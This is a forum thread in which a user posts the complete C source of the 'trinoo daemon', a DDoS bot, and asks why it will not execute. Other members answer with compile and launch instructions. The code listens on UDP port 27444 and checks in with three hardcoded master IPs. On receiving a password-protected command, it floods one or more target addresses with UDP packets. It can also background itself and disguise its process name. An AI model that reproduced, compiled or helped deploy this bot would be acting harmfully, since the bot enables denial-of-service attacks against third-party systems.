LinuxQuestions.org
Review your favorite Linux distribution.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Software
User Name
Password
Linux - Software This forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum.

Notices



Reply
 
Search this Thread
Old 03-26-2009, 03:19 AM   #1
soni_silver17
LQ Newbie
 
Registered: Jan 2009
Posts: 21

Rep: Reputation: 15
unable to run c program , error : cannot execute binary file


I have tried to execute the below ns.c program in RHEL 4 by using the command

#gcc -c ns.c -o ns.o

i am not getting any errors but while i am running object file by using the command

#./ns.o

i am getting the below error

bash : ./ns.o cannot execute binary file

........................ns.c program.....................................


/* trinoo daemon */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>

/* ----------------- strfix.h ----------------- */
#ifdef __GNUC__
#define strcpy(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcpy(_out, (src)); \
else { \
*_out = 0; \
_out = strncat(_out, (src), sizeof(dst) - 1); \
} \
_out; \
})
#define strcat(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcat(_out, (src)); \
else { \
size_t _size = sizeof(dst) - strlen(_out) - 1; \
if (_size > 0) _out = strncat(_out, (src), _size); \
} \
_out; \
})
#endif
/* ----------------- END of strfix.h ----------------- */


/* #define PROCNAME "httpd" */
char *master[] = {
"129.237.122.40",
"207.228.116.19",
"209.74.175.130",
NULL
};

#define DEFSIZE 1000

int main(int argc, char *argv[])
{
int sock, fromlen, numread, i, sock2, bewm, timerz=120, hoe, foke;
struct sockaddr_in sa, from, to;
struct hostent *he;
char buf[1024];
char arg1[4], *arg2, pass[10], *temp, *unf;
void *buf2;
int start, end, stop=0,ablespoof=0;
#ifdef PROCNAME
for (bewm = argc-1; bewm >= 0; bewm--)
memset(argv[bewm], 0, strlen(argv[bewm]));
strcpy(argv[0], PROCNAME);
#endif
buf2 = (void*)malloc(DEFSIZE);

if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(27444);
to.sin_family = AF_INET;

if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
exit(-1);
}
hello();
foke = fork();
if (foke > 0) {
hoe = setpgid(foke, foke);
exit(0);
}
if (foke == -1) exit(-1);
while (1) {
bzero(arg1, 1024);
bzero(buf, 1024);
fromlen=sizeof(from);
if ((numread = recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
perror("recvfrom");
continue;
}
if (strstr("l44", buf)==0) {
arg2 = malloc(sizeof(buf));
sscanf(buf, "%s %s %s", arg1, pass, arg2);
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
if(strcmp(arg1, "aaa")==0) {
to.sin_addr.s_addr = inet_addr(arg2);
start = time(NULL);
end = start + timerz;
stop = 0;
if((sock2 = getsock()) != -1)
while (!stop) {
to.sin_port = htons(rand()%65534);
sendto(sock2,buf2,sizeof(buf2), 0,(struct sockaddr*)(&to),sizeof(to));
if (time(NULL) > end) { close(sock2); stop = 1; }
}
stop=0;
}
if(strcmp(arg1, "bbb")==0)
if (atoi(arg2) > 1000)
timerz = 500;
else
timerz = atoi(arg2);
if(strcmp(arg1, "shi")==0) hello();
if(strcmp(arg1, "png")==0) sendudp((char *)inet_ntoa(from.sin_addr),"PONG",31335);
if(strcmp(arg1, "d1e")==0) exit(1);
if(strcmp(arg1, "rsz")==0) {
free(buf2);
buf2 = malloc(atoi(arg2));
bzero(buf2,sizeof(buf2));
}
if(strcmp(arg1, "xyz")==0) {
start = time(NULL);
end = start + timerz;
unf = malloc(sizeof(arg2));
if((sock2 = getsock()) != -1)
while (!stop) {
bzero(unf, sizeof(unf));
strcat(unf,arg2);
temp=strtok(unf,":");
while((temp = strtok(NULL,":"))!=NULL) {
printf("%s\n",temp);
to.sin_addr.s_addr = inet_addr(temp);
to.sin_port = htons(rand()%65534);
if (!stop)
sendto(sock2, buf2, sizeof(buf2), 0, (struct sockaddr*)(&to), sizeof(to));
if (time(NULL) > end) {
close(sock2);
stop = 1;
}
}
}
free(unf);
stop=0;
}
free(arg2);
}
}
}
}

int sendudp(char *host, char *data,int port)
{
int unf;
struct sockaddr_in out;

out.sin_family = AF_INET;
out.sin_addr.s_addr = inet_addr(host);
out.sin_port = htons(31335);

if ((unf = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return -1;
sendto(unf,data,strlen(data),0,(struct sockaddr*)&out,sizeof(out));
return 1;
}

int hello()
{
int i=0;
while (master[i] != NULL) { sendudp(master[i], "*HELLO*", 31335); i++; }
}

int getsock()
{
int i;
if ((i = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) != -1)
return i;
else
return -1;
}

Please help me with solution....thanks
 
Old 03-26-2009, 08:05 AM   #2
tronayne
Senior Member
 
Registered: Oct 2003
Location: Northeastern Michigan, where Carhartt is a Designer Label
Distribution: Slackware 32- & 64-bit Stable
Posts: 3,122

Rep: Reputation: 819Reputation: 819Reputation: 819Reputation: 819Reputation: 819Reputation: 819Reputation: 819
A dot-o file is the output of the compiler that must be linked with system libraries to be executable (an executable program will not have a file extension; i.e., no such thing as dot-exe or similar in Linux).

Rather than compiling as you did (gcc -c ns.c -o ns.o) try
Code:
gcc  ns.c -o ns
You can, if you are compiling a program (no functions in separate files) use the make utility
Code:
make ns
However, your program as is returns
Code:
make ns
cc     ns.c   -o ns
/tmp/ccAc5siK.o: In function `main':
ns.c:(.text+0x1ec): undefined reference to `crypt'
collect2: ld returned 1 exit status
make: *** [ns] Error 1
which indicates that it must be linked with libcrypt and you should compile it
Code:
gcc ns.c -lcrypt -o ns
Hope this helps some.
 
Old 03-30-2009, 07:58 AM   #3
soni_silver17
LQ Newbie
 
Registered: Jan 2009
Posts: 21

Original Poster
Rep: Reputation: 15
c error in Linux

Thanks for giving reply. It has worked. But after compiling how to run the program...
 
Old 03-30-2009, 08:33 AM   #4
tronayne
Senior Member
 
Registered: Oct 2003
Location: Northeastern Michigan, where Carhartt is a Designer Label
Distribution: Slackware 32- & 64-bit Stable
Posts: 3,122

Rep: Reputation: 819Reputation: 819Reputation: 819Reputation: 819Reputation: 819Reputation: 819Reputation: 819
At a command prompt (in a console window) simply enter the name and hit the carriage return key. Note that if you repeat this there will be another copy of the program running for each time you do this.

Your program is a daemon program; i.e., it will continue to run until the system is rebooted or you kill the running process with the kill utility. You can see if it's running with the ps utility
Code:
ps -f
which will display something like
Code:
yourlogin    10232 10215  0 08:29 pts/1    00:00:00 ns
The first number (in this example, 10232) is the process identification number or PID and you can kill that with
Code:
kill -9 10232
 
Old 03-30-2009, 09:45 AM   #5
AlucardZero
Senior Member
 
Registered: May 2006
Location: USA
Distribution: Debian
Posts: 4,653

Rep: Reputation: 536Reputation: 536Reputation: 536Reputation: 536Reputation: 536Reputation: 536
Quote:
Originally Posted by tronayne View Post
At a command prompt (in a console window) simply enter the name and hit the carriage return key.
Don't forget the ./.

soni_silver17: just type
Code:
./ns
once ns is compiled.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
GCC compilation returns a "cannot execute binary file" error Antongarou Linux - Newbie 13 01-03-2009 08:28 PM
cannot execute binary file kish_or Linux - Newbie 4 05-07-2008 01:53 AM
While installing informix-SE 7.0 it gives error as cannot execute binary file sp2797 Linux - Server 1 09-07-2006 10:56 AM
cannot execute binary file babaliciouse Linux - Software 2 10-21-2004 12:50 PM
Cannot execute binary file??? Wimpie22 Linux - General 3 01-11-2004 05:38 PM


All times are GMT -5. The time now is 12:16 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration